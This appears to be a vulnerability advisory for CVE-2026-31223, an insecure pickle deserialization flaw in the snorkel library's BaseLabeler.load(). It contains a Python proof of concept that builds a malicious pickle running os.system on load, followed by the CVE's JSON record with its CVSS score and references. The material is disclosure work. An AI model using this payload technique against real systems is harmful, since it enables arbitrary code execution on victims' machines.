CVE-2026-31223

import pickle import os # Malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., create a file or pop calc) return (os.system, ('touch /tmp/pwned',)) # Generate the malicious pickle file with open('exploit.pkl', 'wb') as f: pickle.dump(MaliciousPayload(), f) print('Malicious pickle file generated: exploit.pkl') print('Victim code simulation:') print('from snorkel.labeling import BaseLabeler') print("BaseLabeler.load('exploit.pkl') # This triggers the exploit")

{"cve": {"id": "CVE-2026-31223", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:14.223", "lastModified": "2026-05-13T15:46:18.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The snorkel library thru v0.10.0 contains a critical insecure deserialization vulnerability (CWE-502) in the BaseLabeler.load() method of the BaseLabeler class. The method loads serialized labeler models using the unsafe pickle.load() function on user-supplied file paths without any validation or security controls. Python's pickle module is inherently dangerous for deserializing untrusted data, as it can execute arbitrary code during the deserialization process. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snorkel:snorkel:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.10.0", "matchCriteriaId": "F2E7FC3A-64C0-4F69-84DD-FC9BA0883D08"}]}]}], "references": [{"url": "https://github.com/snorkel-team/snorkel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31223-35d1e1393188811ab1d0e4a8a2e67992", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}